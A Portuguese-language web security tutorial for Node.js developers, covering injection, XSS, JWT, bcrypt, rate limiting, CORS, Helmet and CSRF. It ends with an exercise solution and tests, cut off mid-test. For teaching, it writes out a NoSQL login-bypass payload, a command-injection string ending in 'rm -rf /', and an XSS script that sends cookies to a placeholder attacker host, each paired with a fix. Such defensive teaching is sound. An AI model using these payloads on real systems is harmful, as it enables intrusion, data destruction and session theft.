Segurança em aplicações web

Segurança em aplicações web

Segurança não é etapa final, é decisão em cada linha. O artigo percorre as falhas que a OWASP vê primeiro em aplicação JavaScript: injeção em NoSQL e em comando, XSS e o que o DOMPurify resolve, senha com bcrypt, JWT e seu preço, limite de tentativas, CORS, headers do Helmet e controle de acesso por dono.
Javascript

• • 36 min de leitura

Segurança não é um recurso que você adiciona ao final do projeto — é uma camada que permeia cada decisão de desenvolvimento. Uma aplicação insegura pode expor dados pessoais de usuários, permitir que atacantes assumam contas, ou destruir anos de trabalho em minutos.

A boa notícia é que a maioria dos ataques explora vulnerabilidades bem conhecidas e documentadas. Entender como esses ataques funcionam é o primeiro passo para se defender deles. A OWASP (Open Web Application Security Project) mantém uma lista atualizada das dez vulnerabilidades mais críticas em aplicações web — este artigo cobre as mais relevantes para desenvolvedores JavaScript.

1. Injeção — SQL, NoSQL e Command Injection

Ataques de injeção acontecem quando dados fornecidos pelo usuário são interpretados como comandos pelo sistema. É a vulnerabilidade mais antiga e ainda devastadoramente comum.

O princípio do ataque é sempre o mesmo: o atacante insere caracteres especiais em um campo de formulário ou parâmetro de URL que alteram a lógica de uma consulta ou comando.

// ── INJEÇÃO EM MONGODB (NoSQL Injection) ───────────
// O Mongoose protege automaticamente contra a maioria dos casos,
// mas é importante entender o que pode acontecer sem proteção.

// ❌ VULNERÁVEL — confia cegamente nos dados recebidos
app.post('/login', async (req, res) => {
  const { email, senha } = req.body;

  // Se o atacante enviar: { "email": { "$gt": "" }, "senha": { "$gt": "" } }
  // O MongoDB interpreta { "$gt": "" } como "maior que string vazia"
  // isso retorna QUALQUER usuário do banco — autenticação bypassada!
  const usuario = await Usuario.findOne({ email, senha });

  if (usuario) res.json({ token: gerarToken(usuario) });
});

// ✅ SEGURO — valida tipos antes de usar
app.post('/login', async (req, res) => {
  const { email, senha } = req.body;

  // Verifica que os valores são strings — operadores MongoDB são objetos
  if (typeof email !== 'string' || typeof senha !== 'string') {
    return res.status(400).json({ erro: 'Formato de dados inválido.' });
  }

  // Sanitiza removendo caracteres que não pertencem a um email
  const emailLimpo = email.trim().toLowerCase();

  // Nunca compara senha em texto puro no banco — usa bcrypt
  const usuario = await Usuario.findOne({ email: emailLimpo }).select('+senha');
  if (!usuario) return res.status(401).json({ erro: 'Credenciais inválidas.' });

  const senhaCorreta = await bcrypt.compare(senha, usuario.senha);
  if (!senhaCorreta) return res.status(401).json({ erro: 'Credenciais inválidas.' });

  res.json({ token: gerarToken(usuario._id) });
});
// ── COMMAND INJECTION ───────────────────────────────
// Nunca execute comandos do sistema com dados do usuário

// ❌ CATASTRÓFICO — permite executar qualquer comando no servidor
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
  const host = req.query.host;
  // Atacante envia: host=google.com; rm -rf /
  // O servidor executa: ping google.com; rm -rf /
  exec(`ping -c 1 ${host}`, (erro, stdout) => res.send(stdout));
});

// ✅ SEGURO — valida estritamente o input antes de qualquer operação
app.get('/ping', (req, res) => {
  const host = req.query.host;

  // Permite apenas caracteres válidos em hostnames
  // Rejeita qualquer tentativa de injetar comandos
  const hostValido = /^[a-zA-Z0-9.-]{1,253}$/.test(host);
  if (!hostValido) {
    return res.status(400).json({ erro: 'Host inválido.' });
  }

  // Passa o argumento como array — não como string concatenada
  // Isso impede interpretação de caracteres especiais do shell
  const { execFile } = require('child_process');
  execFile('ping', ['-c', '1', host], (erro, stdout) => {
    if (erro) return res.status(500).json({ erro: 'Falha no ping.' });
    res.send(stdout);
  });
});

Regra de ouro contra injeção: trate todo dado externo como não confiável. Valide tipos, use parâmetros em vez de concatenação de strings, e nunca construa comandos com dados do usuário.

2. Cross-Site Scripting (XSS)

XSS acontece quando um atacante consegue inserir JavaScript malicioso em uma página que será executado no navegador de outras pessoas. É a vulnerabilidade mais comum em aplicações web.

Imagine um campo de comentários onde o atacante digita <script>fetch("https://servidor-do-atacante.com?c="+document.cookie)</script>. Se o site exibir esse comentário sem sanitizar, o script roda no navegador de todos que abrirem a página, e o que ele faz é escolha de quem atacou: enviar os cookies de sessão, ler o que estiver no localStorage, registrar o que for digitado ou disparar requisições em nome da vítima — tudo com a identidade dela, porque o código executa dentro do seu domínio.

// ── XSS NO BACK-END ─────────────────────────────────

// ❌ VULNERÁVEL — retorna HTML sem sanitizar dados do banco
app.get('/perfil/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);
  // Se usuario.bio contiver <script>..., será executado no navegador
  res.send(`<div class="bio">${usuario.bio}</div>`);
});

// ✅ SEGURO — use um sanitizador de HTML ou evite HTML dinâmico
// npm install dompurify jsdom
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.get('/perfil/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);

  // Remove tags e atributos perigosos, mantém HTML formatado legítimo
  const bioSegura = DOMPurify.sanitize(usuario.bio, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [],  // nenhum atributo permitido (evita onclick, etc.)
  });

  res.send(`<div class="bio">${bioSegura}</div>`);
});

// ── HEADERS DE SEGURANÇA COM HELMET ─────────────────
// O Helmet configura automaticamente vários headers que protegem contra XSS
// npm install helmet
const helmet = require('helmet');
app.use(helmet());

// Content-Security-Policy: define quais scripts podem executar
// Isso é a defesa em profundidade contra XSS — mesmo se injetar script,
// o navegador bloqueia a execução se não vier de fonte aprovada
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],         // só recursos do próprio domínio
      scriptSrc: ["'self'"],          // sem scripts inline, sem CDNs não listados
      styleSrc: ["'self'", "'unsafe-inline'"],  // permite estilos inline (comum em React)
      imgSrc: ["'self'", 'data:', 'https:'],    // imagens do próprio domínio ou https
      connectSrc: ["'self'", process.env.API_URL],  // conexões apenas para a API
      // Atenção: fonts.googleapis.com serve o CSS; os ARQUIVOS de fonte vêm de
      // fonts.gstatic.com. Trocar os dois é o erro clássico de CSP com Google
      // Fonts — a folha de estilo carrega e as fontes são bloqueadas em silêncio.
      fontSrc: ["'self'", 'https://fonts.gstatic.com'],
      objectSrc: ["'none'"],          // bloqueia plugins (Flash, etc.)
      upgradeInsecureRequests: [],    // força HTTPS
    },
  })
);
// ── XSS NO FRONT-END REACT ──────────────────────────
// O React escapa automaticamente o conteúdo inserido via JSX — isso já é
// uma defesa poderosa. O problema aparece quando usamos dangerouslySetInnerHTML.

// ❌ PERIGOSO — executa qualquer HTML/script do banco
function Comentario({ texto }) {
  // Se texto contiver <script>alert('xss')</script>, vai executar
  return <div dangerouslySetInnerHTML={{ __html: texto }} />;
}

// ✅ SEGURO — sanitiza antes de renderizar HTML
// npm install dompurify
import DOMPurify from 'dompurify';

function Comentario({ texto }) {
  // DOMPurify remove tags e atributos perigosos antes de renderizar
  const textoSeguro = DOMPurify.sanitize(texto, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  return <div dangerouslySetInnerHTML={{ __html: textoSeguro }} />;
}

// ✅ MELHOR AINDA — evite dangerouslySetInnerHTML sempre que possível
// Se o texto é plain text, o React já escapa automaticamente:
function Comentario({ texto }) {
  return <p>{texto}</p>; // '{texto}' é sempre escapado pelo React
}

3. Autenticação e Gerenciamento de Sessão

Erros de autenticação são particularmente graves porque dão ao atacante acesso total à conta do usuário. Vamos cobrir as práticas essenciais.

// ── JWT — configuração segura ────────────────────────
const jwt = require('jsonwebtoken');

// ❌ JWT inseguro — chave fraca, algoritmo padrão sem verificação
const tokenInseguro = jwt.sign({ userId: 1 }, 'senha123');

// ✅ JWT seguro — chave forte, expiração, algoritmo explícito
function gerarToken(userId) {
  return jwt.sign(
    {
      id: userId,
      // iat (issued at) é adicionado automaticamente pelo jwt.sign
    },
    process.env.JWT_SECRET,  // mínimo 256 bits — gere com crypto.randomBytes(64)
    {
      expiresIn: '15m',      // tokens de acesso devem ser de curta duração
      algorithm: 'HS256',    // sempre especifique o algoritmo explicitamente
      issuer: 'api-gestao',  // identifica quem emitiu o token
      audience: 'app-gestao', // identifica para quem o token é destinado
    }
  );
}

// Token de refresh — vida longa, armazenado com mais segurança
function gerarRefreshToken(userId) {
  return jwt.sign(
    { id: userId, tipo: 'refresh' },
    process.env.JWT_REFRESH_SECRET,  // chave diferente do access token
    { expiresIn: '7d' }
  );
}

// Verificação robusta do token
function verificarToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],  // rejeita tokens com algoritmo diferente
      issuer: 'api-gestao',
      audience: 'app-gestao',
    });
  } catch (erro) {
    if (erro.name === 'TokenExpiredError') {
      throw new Error('Token expirado. Faça login novamente.');
    }
    if (erro.name === 'JsonWebTokenError') {
      throw new Error('Token inválido.');
    }
    throw erro;
  }
}
// ── SENHAS — armazenamento seguro ────────────────────
const bcrypt = require('bcrypt');

// ❌ NUNCA armazene senhas em texto puro ou com hash fraco (MD5, SHA1)
const senhaInsegura = md5(senha); // MD5 é completamente quebrável

// ✅ Use bcrypt com fator de custo adequado
// Fator 12 é o padrão atual — leva ~250ms por hash (dificulta força bruta)
// Aumente conforme o hardware melhorar: 13 ou 14 em servidores modernos

async function hashSenha(senhaTexto) {
  const saltRounds = 12;
  return bcrypt.hash(senhaTexto, saltRounds);
}

async function verificarSenha(senhaTexto, senhaHash) {
  return bcrypt.compare(senhaTexto, senhaHash);
}

// ── PROTEÇÃO CONTRA TIMING ATTACKS ──────────────────
// Nunca retorne erros diferentes para "usuário não existe" vs "senha errada"
// Isso permite que atacantes descubram quais emails estão cadastrados

// ❌ Vaza informação sobre usuários existentes
app.post('/login', async (req, res) => {
  const usuario = await Usuario.findOne({ email: req.body.email });
  if (!usuario) return res.status(401).json({ erro: 'Usuário não encontrado.' }); // ❌
  const ok = await bcrypt.compare(req.body.senha, usuario.senha);
  if (!ok) return res.status(401).json({ erro: 'Senha incorreta.' }); // ❌
});

// ✅ Mesma mensagem para ambos os casos
app.post('/login', async (req, res) => {
  const usuario = await Usuario.findOne({ email: req.body.email }).select('+senha');

  // Faz o compare mesmo se o usuário não existir
  // Isso garante tempo de resposta constante — evita timing attacks
  const senhaFalsa = '$2b$12$invalidhashforcomparison.....'; // hash inválido
  const senhaHash = usuario?.senha || senhaFalsa;
  const senhaCorreta = await bcrypt.compare(req.body.senha, senhaHash);

  if (!usuario || !senhaCorreta) {
    return res.status(401).json({ erro: 'Credenciais inválidas.' }); // ✅ mesma msg
  }

  res.json({ token: gerarToken(usuario._id) });
});

4. Rate Limiting — proteção contra força bruta

Rate limiting limita quantas requisições um mesmo IP pode fazer em um período. Sem isso, um atacante pode tentar milhões de combinações de senha por hora.

// npm install express-rate-limit
const rateLimit = require('express-rate-limit');

// Limite global — aplica a toda a API
// 100 requisições por 15 minutos por IP
const limiteGeral = rateLimit({
  windowMs: 15 * 60 * 1000,  // janela de 15 minutos
  max: 100,                    // máximo de requisições por janela
  standardHeaders: true,       // inclui headers RateLimit-* na resposta
  legacyHeaders: false,        // não inclui headers X-RateLimit-* deprecados
  message: {
    erro: 'Muitas requisições. Tente novamente em 15 minutos.',
    status: 429,
  },
});

// Limite específico para autenticação — muito mais restritivo
// 5 tentativas de login por 15 minutos por IP
const limiteAuth = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  skipSuccessfulRequests: true,  // logins bem-sucedidos não contam no limite
  message: {
    erro: 'Muitas tentativas de login. Tente novamente em 15 minutos.',
    status: 429,
  },
});

// Aplicando os limitadores
app.use(limiteGeral);                          // toda a API
app.use('/auth/login', limiteAuth);            // apenas login
app.use('/auth/registrar', limiteAuth);        // e registro
app.use('/auth/esqueci-senha', limiteAuth);    // e recuperação de senha

5. CORS — configuração correta

CORS (Cross-Origin Resource Sharing) define quais domínios podem fazer requisições para sua API. Uma configuração incorreta pode expor sua API a qualquer site na internet.

// npm install cors
const cors = require('cors');

// ❌ CORS aberto demais — qualquer site do mundo acessa sua API
app.use(cors()); // aceita qualquer origem — nunca faça isso em produção

// ✅ CORS configurado corretamente
const origensPermitidas = [
  'https://meuapp.vercel.app',
  'https://www.meuapp.com.br',
  // Em desenvolvimento, adiciona o localhost
  ...(process.env.NODE_ENV === 'development' ? ['http://localhost:5173'] : []),
];

app.use(
  cors({
    origin: (origin, callback) => {
      // Permite requisições sem origin (ex: curl, Postman, apps mobile)
      // Em produção você pode querer bloquear isso também
      if (!origin || origensPermitidas.includes(origin)) {
        callback(null, true);
      } else {
        callback(new Error(`Origem não permitida pelo CORS: ${origin}`));
      }
    },
    methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    credentials: true,         // permite cookies e headers de auth
    maxAge: 86400,             // cacheia preflight por 24 horas
  })
);

6. Validação e sanitização de entrada

Toda entrada de dados deve ser validada no servidor — nunca confie na validação do front-end. O front-end pode ser bypassado facilmente com ferramentas como o Postman.

// npm install zod
const { z } = require('zod');

// Define o schema com todas as regras de validação
const schemaCriarUsuario = z.object({
  nome: z
    .string({ required_error: 'Nome é obrigatório.' })
    .min(2, 'Nome deve ter pelo menos 2 caracteres.')
    .max(100, 'Nome não pode exceder 100 caracteres.')
    .trim(),

  email: z
    .string({ required_error: 'Email é obrigatório.' })
    .email('Email inválido.')
    .toLowerCase()
    .trim(),

  senha: z
    .string({ required_error: 'Senha é obrigatória.' })
    .min(8, 'Senha deve ter pelo menos 8 caracteres.')
    // Exige pelo menos uma letra maiúscula, um número e um caractere especial
    .regex(
      /^(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
      'Senha deve conter maiúscula, número e caractere especial.'
    ),

  idade: z
    .number()
    .int('Idade deve ser um número inteiro.')
    .min(0, 'Idade inválida.')
    .max(150, 'Idade inválida.')
    .optional(),
});

// Middleware de validação reutilizável
// Recebe um schema Zod e retorna um middleware do Express
function validar(schema) {
  return (req, res, next) => {
    try {
      // parse() lança erro se os dados não passarem na validação
      // Também transforma os dados (trim, toLowerCase, etc.)
      req.body = schema.parse(req.body);
      next();
    } catch (erro) {
      if (erro instanceof z.ZodError) {
        // Formata os erros de forma legível
        const detalhes = erro.errors.map((e) => `${e.path.join('.')}: ${e.message}`);
        return res.status(422).json({
          erro: 'Dados inválidos.',
          detalhes,
        });
      }
      next(erro);
    }
  };
}

// Usando nas rotas
app.post('/auth/registrar', validar(schemaCriarUsuario), async (req, res) => {
  // req.body agora tem tipos corretos e dados sanitizados
  const { nome, email, senha } = req.body;
  // ...
});

7. Proteção de rotas sensíveis e dados

Algumas proteções simples que fazem grande diferença no dia a dia.

// ── NUNCA EXPONHA DADOS SENSÍVEIS ────────────────────

// ❌ Retorna a senha (mesmo que em hash) e dados internos
app.get('/usuarios/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);
  res.json(usuario); // inclui senha, __v, datas internas, etc.
});

// ✅ Seleciona apenas os campos necessários
app.get('/usuarios/:id', autenticar, async (req, res) => {
  const usuario = await Usuario.findById(
    req.params.id,
    // Projeção — retorna apenas estes campos
    'nome email papel criadoEm'
    // Senha nunca é retornada (select: false no schema + não listada aqui)
  );
  res.json(usuario);
});

// ── GARANTA QUE USUÁRIOS SÓ ACESSAM SEUS PRÓPRIOS DADOS ──

// ❌ Qualquer usuário logado pode ver/editar tarefas de qualquer outro
app.get('/tarefas/:id', autenticar, async (req, res) => {
  const tarefa = await Tarefa.findById(req.params.id);
  res.json(tarefa);
});

// ✅ Filtra sempre pelo usuário autenticado
app.get('/tarefas/:id', autenticar, async (req, res) => {
  const tarefa = await Tarefa.findOne({
    _id: req.params.id,
    usuario: req.usuario._id,  // garante que é dono da tarefa
  });

  if (!tarefa) {
    // Retorna 404 (não 403) — não confirmamos que o recurso existe
    return res.status(404).json({ erro: 'Tarefa não encontrada.' });
  }

  res.json(tarefa);
});

// ── VARIÁVEIS DE AMBIENTE NUNCA EXPOSTAS ─────────────

// ❌ Expõe configurações do servidor
app.get('/debug', (req, res) => {
  res.json(process.env); // expõe JWT_SECRET, MONGODB_URL, etc.
});

// ✅ Health check expõe apenas o necessário
app.get('/health', (req, res) => {
  res.json({
    status: 'ok',
    ambiente: process.env.NODE_ENV,
    uptime: Math.floor(process.uptime()) + 's',
    // Nunca inclua process.env aqui
  });
});

8. Headers de segurança com Helmet

O Helmet configura uma série de headers HTTP que protegem contra diferentes tipos de ataque. É uma das adições mais simples e eficazes que você pode fazer.

const helmet = require('helmet');

// Aplica todos os headers de segurança padrão
app.use(helmet());

// Os headers que o Helmet configura e o que cada um faz:
//
// Content-Security-Policy
//   → Define quais recursos (scripts, estilos, imagens) podem ser carregados
//   → Principal defesa contra XSS
//
// X-Content-Type-Options: nosniff
//   → Impede que o navegador "adivinhe" o tipo de conteúdo
//   → Evita que um script disfarçado de imagem execute
//
// X-Frame-Options: SAMEORIGIN
//   → Impede que sua página seja carregada em um iframe de outro domínio
//   → Protege contra clickjacking
//
// Strict-Transport-Security (HSTS)
//   → Força HTTPS — o navegador nunca usará HTTP novamente para este domínio
//   → Protege contra downgrade attacks
//
// X-XSS-Protection
//   → Ativa o filtro XSS nativo de browsers mais antigos
//
// Referrer-Policy: no-referrer
//   → Controla quanta informação de URL é enviada em requisições cross-origin

9. Proteção contra CSRF

CSRF (Cross-Site Request Forgery) faz com que um usuário autenticado execute ações indesejadas sem saber. Como usamos JWT em headers, e não em cookies, estamos naturalmente protegidos — o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization.

Isso não é ganho de graça, é uma troca. Para mandar o token no cabeçalho, o JavaScript precisa lê-lo — e o lugar usual é o localStorage, que é acessível a qualquer script da página. Um único XSS bem-sucedido rouba o token inteiro. Já um cookie httpOnly é invisível ao JavaScript, e nem o próprio XSS o extrai — em compensação, volta a exigir defesa contra CSRF. Em resumo: token no cabeçalho troca risco de CSRF por risco de XSS. O desenho mais seguro hoje combina os dois mundos: cookie httpOnly com SameSite, mais um token curto de acesso, o que exige cuidar de CSRF mas sobrevive a um XSS. Escolher sabendo do custo é o que importa; achar que uma das opções é gratuita, não.

// Com JWT em Authorization header: imune a CSRF por design
// O atacante não consegue definir headers customizados em requisições cross-origin

// Se você usar cookies para armazenar o JWT, precisa de proteção CSRF:
// O pacote csurf foi DESCONTINUADO e arquivado em 2022 — não use.
// Hoje as opções são o csrf-csrf, mantido, ou implementar o padrão
// Double Submit Cookie à mão, que é simples: um token aleatório vai num
// cookie legível e o mesmo valor é enviado num header; o servidor compara.

// Configurando cookies de forma segura (se necessário)
res.cookie('token', jwtToken, {
  httpOnly: true,     // inacessível via JavaScript (protege contra XSS)
  secure: true,       // apenas HTTPS
  sameSite: 'strict', // não envia em requisições cross-origin (protege contra CSRF)
  maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 dias em milissegundos
});

10. Dependências seguras

Uma aplicação Node.js típica tem centenas de dependências. Qualquer uma delas pode ter uma vulnerabilidade conhecida.

# Verificar vulnerabilidades nas dependências
npm audit

# Saída típica:
# found 3 vulnerabilities (1 low, 1 moderate, 1 high)
# run `npm audit fix` to fix them

# Corrigir automaticamente (quando possível)
npm audit fix

# Para atualizações que quebram a API (major versions):
npm audit fix --force  # use com cuidado — pode quebrar o projeto

# Verificar dependências desatualizadas
npm outdated

# Atualizar uma dependência específica
npm update express

# Remover dependências não usadas
npx depcheck
// package.json — configurando auditoria no CI/CD
{
  "scripts": {
    "audit": "npm audit --audit-level=high",
    "quality": "npm run format:check && npm run lint && npm run audit && npm test"
  }
}
# .github/workflows/seguranca.yml
# Roda semanalmente para verificar novas vulnerabilidades
name: Auditoria de Segurança

on:
  schedule:
    # Todo domingo às 9h
    - cron: '0 9 * * 0'
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'
      - run: npm ci
      # Falha se houver vulnerabilidades de severidade alta ou crítica
      - run: npm audit --audit-level=high

Checklist de segurança

Assim como o checklist de deploy, este deve ser revisado antes de qualquer lançamento.

Autenticação e Senhas
─────────────────────────────────────────────────────────
[ ] Senhas armazenadas com bcrypt (fator >= 12)
[ ] JWT com chave forte (>= 256 bits), expiração curta
[ ] Rate limiting em /login, /registrar, /esqueci-senha
[ ] Mesma mensagem de erro para "usuário não existe" e "senha errada"
[ ] Tokens de refresh com chave separada e revogação implementada

Dados e Validação
─────────────────────────────────────────────────────────
[ ] Toda entrada validada no servidor (não só no front-end)
[ ] Tipos verificados antes de queries ao banco
[ ] Usuários só acessam seus próprios dados
[ ] Campos sensíveis com select: false no schema
[ ] Resposta nunca inclui senha, tokens ou dados internos

Headers e Transporte
─────────────────────────────────────────────────────────
[ ] Helmet instalado e configurado
[ ] CORS restrito às origens conhecidas
[ ] HTTPS em produção (Vercel e Railway fazem isso automaticamente)
[ ] Cookies com httpOnly, secure, sameSite se utilizados

Infraestrutura
─────────────────────────────────────────────────────────
[ ] Variáveis de ambiente em .gitignore
[ ] .env.example documentado para o time
[ ] npm audit sem vulnerabilidades altas ou críticas
[ ] Dependências atualizadas regularmente
[ ] Logs não expõem dados sensíveis (senhas, tokens, CPF)

Tarefa para você

Aplique as proteções aprendidas na API do Módulo 4:

// 1. Instale e configure o Helmet
//    Verifique os headers de segurança com:
//    curl -I https://sua-api.railway.app/health

// 2. Adicione rate limiting com express-rate-limit:
//    - 100 req/15min para rotas gerais
//    - 5 req/15min para /auth/login e /auth/registrar

// 3. Substitua todas as validações manuais por schemas Zod:
//    - schemaCriarUsuario
//    - schemaLogin
//    - schemaCriarProduto
//    - schemaAtualizarProduto
//    - schemaCriarTarefa

// 4. Verifique que todas as rotas de tarefas filtram pelo req.usuario._id
//    Teste com curl tentando acessar tarefa de outro usuário:
//    curl -H "Authorization: Bearer TOKEN_USUARIO_A" 
//         https://api/tarefas/ID_DA_TAREFA_DO_USUARIO_B
//    Deve retornar 404, nunca 403 (não confirmamos a existência)

// 5. Configure CORS em produção restrito apenas ao domínio do front-end

// 6. Rode npm audit e corrija todas as vulnerabilidades altas

// 7. Verifique o .gitignore — rode este comando e confirme que .env
//    não aparece na lista de arquivos rastreados:
//    git ls-files | grep -E ".env"
//    Se aparecer, remova com: git rm --cached .env
Ver solução — as sete proteções, com os 15 testes que as provam
// ---- src/middlewares/seguranca.js
// 1, 2 e 5 — HELMET, RATE LIMITING E CORS
//
// npm install helmet express-rate-limit cors
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const cors = require("cors");

// 1 — Helmet. Os padrões já servem; o que muda é o que a API precisa.
const cabecalhos = helmet({
  // API JSON não serve HTML, então a CSP padrão do Helmet não protege nada
  // aqui — mas atrapalha se você servir a documentação do Swagger na mesma
  // aplicação. Deixe explícito o que está fazendo.
  contentSecurityPolicy: false,
  // Só faz sentido com HTTPS já no ar; em dev, o navegador guardaria o
  // localhost como "sempre https" e você passaria uma tarde depurando isso.
  hsts: process.env.NODE_ENV === "producao",
  crossOriginResourcePolicy: { policy: "cross-origin" },
});

// 2 — Rate limiting em duas camadas.
const limiteGeral = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 100,
  standardHeaders: "draft-7",   // RateLimit-* padronizados
  legacyHeaders: false,         // sem os X-RateLimit-* antigos
  message: { erro: "Muitas requisições. Tente novamente em alguns minutos." },
});

const limiteAutenticacao = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 5,
  // Só conta o que falhou: quem acerta a senha não gasta a cota, e o
  // limite passa a proteger contra força bruta sem punir o usuário legítimo.
  skipSuccessfulRequests: true,
  standardHeaders: "draft-7",
  legacyHeaders: false,
  message: { erro: "Muitas tentativas de login. Aguarde 15 minutos." },
});

// 5 — CORS restrito ao domínio do front-end em produção.
const origensPermitidas = (process.env.FRONTEND_URL || "http://localhost:5173")
  .split(",")
  .map((o) => o.trim());

const politicaCors = cors({
  origin(origem, callback) {
    // Sem Origin = curl, Postman, app móvel. Não é navegador, o CORS não
    // se aplica — bloquear aqui não protege nada e quebra os healthchecks.
    if (!origem) return callback(null, true);
    if (origensPermitidas.includes(origem)) return callback(null, true);
    callback(new Error(`Origem não permitida: ${origem}`));
  },
  credentials: true,
  methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
});

module.exports = { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors };

// ---- src/validacao/schemas.js
// 3 — OS SCHEMAS ZOD
const { z } = require("zod");

const senha = z
  .string()
  .min(8, "Senha deve ter pelo menos 8 caracteres.")
  .regex(/[a-z]/, "Senha precisa de uma letra minúscula.")
  .regex(/[A-Z]/, "Senha precisa de uma letra maiúscula.")
  .regex(/[0-9]/, "Senha precisa de um número.");

const schemaCriarUsuario = z.object({
  nome: z.string().trim().min(2, "Nome deve ter pelo menos 2 caracteres.").max(120),
  email: z.string().trim().toLowerCase().email("Email inválido."),
  senha,
});

const schemaLogin = z.object({
  email: z.string().trim().toLowerCase().email("Email inválido."),
  // No login não se valida força de senha: a regra pode ter mudado desde o
  // cadastro, e a mensagem detalhada entregaria o formato ao atacante.
  senha: z.string().min(1, "Senha é obrigatória."),
});

const schemaCriarProduto = z.object({
  nome: z.string().trim().min(2).max(200),
  preco: z.number().positive("Preço deve ser maior que zero."),
  estoque: z.number().int().nonnegative().default(0),
  ativo: z.boolean().default(true),
  tags: z.array(z.string().trim()).max(10).default([]),
});

// .partial() gera o schema de atualização a partir do de criação — uma
// fonte de verdade só. O .refine impede o PATCH vazio, que passaria batido.
const schemaAtualizarProduto = schemaCriarProduto
  .partial()
  .refine((dados) => Object.keys(dados).length > 0, {
    message: "Envie pelo menos um campo para atualizar.",
  });

const schemaCriarTarefa = z.object({
  titulo: z.string().trim().min(1, "Título é obrigatório.").max(200),
  descricao: z.string().trim().max(2000).default(""),
  status: z.enum(["pendente", "em_progresso", "concluida", "cancelada"]).default("pendente"),
  prioridade: z.enum(["baixa", "media", "alta"]).default("media"),
  prazo: z.coerce.date().nullable().default(null),
  tags: z.array(z.string()).default([]),
});

module.exports = {
  schemaCriarUsuario,
  schemaLogin,
  schemaCriarProduto,
  schemaAtualizarProduto,
  schemaCriarTarefa,
};

// ---- src/middlewares/validar.js
// Fábrica de middleware: `validar(schema)` valida o corpo; `validar(schema,
// "query")` valida a query string.
function validar(schema, onde = "body") {
  return (req, res, next) => {
    const resultado = schema.safeParse(req[onde]);

    if (!resultado.success) {
      return res.status(422).json({
        erro: "Dados inválidos.",
        detalhes: resultado.error.issues.map((i) => ({
          campo: i.path.join(".") || onde,
          mensagem: i.message,
        })),
      });
    }

    // Substituir pelo valor PARSEADO é metade do ganho: vem com trim,
    // lowercase, defaults aplicados e os tipos convertidos. Sem isso você
    // valida uma coisa e usa outra.
    req[onde] = resultado.data;
    next();
  };
}

module.exports = { validar };

// ---- src/app.js
// A ordem em que tudo se encaixa
const express = require("express");
const { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors } = require("./middlewares/seguranca");
const { validar } = require("./middlewares/validar");
const { schemaCriarTarefa, schemaLogin } = require("./validacao/schemas");
const { naoEncontrado, tratadorDeErros } = require("./middlewares/erros");
const { autenticar } = require("./middlewares/auth");
const ctrl = require("./controllers/tarefaController");

function criarApp() {
  const app = express();

  // A ordem importa: cabeçalhos antes de tudo, para valerem inclusive nas
  // respostas de erro; o parser de JSON com limite, senão um corpo de 200 MB
  // é aceito antes de qualquer validação.
  app.use(cabecalhos);
  app.use(politicaCors);
  app.use(express.json({ limit: "100kb" }));

  app.get("/health", (req, res) =>
    res.json({ status: "ok", timestamp: new Date().toISOString() })
  );

  // O limite estrito vem ANTES do geral nas rotas de auth.
  app.post("/auth/login", limiteAutenticacao, validar(schemaLogin), (req, res) =>
    res.status(401).json({ erro: "Credenciais inválidas." })
  );

  app.use(limiteGeral);

  app.get("/tarefas", autenticar, ctrl.listar);
  app.get("/tarefas/:id", autenticar, ctrl.buscarUma);
  app.post("/tarefas", autenticar, validar(schemaCriarTarefa), ctrl.criar);

  app.use(naoEncontrado);
  app.use(tratadorDeErros);
  return app;
}

module.exports = { criarApp };

// ---- testes/integracao/seguranca.test.js
// OS TESTES — 15, todos passando
const request = require("supertest");
const { criarApp } = require("../../src/appSeguro");
const Tarefa = require("../../src/models/Tarefa");
const { usuarioComToken } = require("../ajudantes");

jest.mock("../../src/servicos/notificacao", () => ({
  notificarTarefaCriada: jest.fn().mockResolvedValue({ ok: true }),
}));

// Cada describe monta um app novo: o rate limit guarda contagem em memória,
// e reaproveitar o app faria um teste derrubar o outro.
describe("1 — Helmet", () => {
  it("põe os cabeçalhos de segurança", async () => {
    const resposta = await request(criarApp()).get("/health");

    expect(resposta.headers["x-content-type-options"]).toBe("nosniff");
    expect(resposta.headers["x-frame-options"]).toBe("SAMEORIGIN");
    expect(resposta.headers["referrer-policy"]).toBe("no-referrer");
    expect(resposta.headers["x-dns-prefetch-control"]).toBe("off");
  });

  it("esconde o x-powered-by do Express", async () => {
    const resposta = await request(criarApp()).get("/health");
    expect(resposta.headers["x-powered-by"]).toBeUndefined();
  });
});

describe("2 — rate limiting", () => {
  it("bloqueia a 6ª tentativa de login com 429", async () => {
    const app = criarApp();
    const tentar = () =>
      request(app).post("/auth/login").send({ email: "a@b.com", senha: "errada" });

    for (let i = 0; i < 5; i++) expect((await tentar()).status).toBe(401);

    const bloqueado = await tentar();
    expect(bloqueado.status).toBe(429);
    expect(bloqueado.body.erro).toMatch(/tentativas/i);
  });

  it("expõe o cabeçalho RateLimit do draft-7 nas rotas limitadas", async () => {
    const resposta = await request(criarApp()).get("/tarefas");   // 401, mas passa pelo limiter

